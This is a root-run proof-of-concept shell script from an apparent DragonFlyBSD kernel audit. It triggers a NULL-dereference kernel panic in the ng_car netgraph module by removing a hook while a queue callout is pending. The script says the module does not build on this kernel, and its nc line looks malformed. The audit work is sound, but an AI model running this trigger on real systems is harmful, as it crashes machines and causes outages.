DragonFlyBSD Kernel Audit
DF-0622 / ng_car_trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0622 — ng_car disconnect NULL-deref panic trigger (ngctl version).
#
# REQUIRES: a working ng_car.ko (loadable). On this DragonFlyBSD master
# kernel, sys/netgraph7/ng_car.c does NOT compile (unported FreeBSD-isms
# struct bintime / getbinuptime / bintime_sub), so the module is not built
# and cannot be loaded. This script documents what the trigger sequence
# would be on a kernel where ng_car is functional.
#
# Run as root.
set +e

echo "DF-0622 ng_car disconnect-NULL-deref trigger"
echo "============================================"
echo

kldload ng_socket 2>/dev/null
kldload ng_car    2>/dev/null
if ! kldstat -m ng_car >/dev/null 2>&1; then
    echo "ABORT: ng_car.ko not loaded. On this kernel the module is dead code"
    echo "(see VERDICT.md)."
    exit 1
fi

# Build a car node with two ng_socket data peers.
ngctl -f - <<'MK'
mkpeer car upper socket
name car: car0
name car:upper.s1 upper_peer
connect car: lower car:upper.s2 lower
MK

# Configure SHAPE mode on the upper hook with small CIR so packets queue
# and the q_callout is scheduled.
ngctl msg car0: setconf { \
    upstream   { cbs 8192 ebs 8192 cir 10240 pir 0 \
                 greenAction 1 yellowAction 1 redAction 2 \
                 mode 3 opt 0 } \
    downstream { cbs 8192 ebs 8192 cir 10240 pir 0 \
                 greenAction 1 yellowAction 1 redAction 2 \
                 mode 3 opt 0 } }

# Send a burst of small packets to the upper data socket to fill the queue
# and keep the callout pending.
for i in $(seq 1 200); do
    echo "burst packet $i" | nc -w 0 -u upper_peer/dev/null 2>/dev/null
done

# WHILE the callout is pending, disconnect the upper hook. ng_car_disconnect
# will purge the queue (NULLing each slot) WITHOUT calling ng_uncallout.
# The pending callout then fires ng_car_q_event, whose loop has no
# empty-queue guard, dereferencing m->m_pkthdr.len on a NULL mbuf
# => Fatal trap 12: page fault in kernel mode.
echo "disconnecting upper hook (panic should follow within a few ticks)..."
ngctl rmhook car0 upper
sleep 2

# If we reach here, the bug didn't fire (callout wasn't pending, or ng_car
# was already fixed).
echo "no panic observed"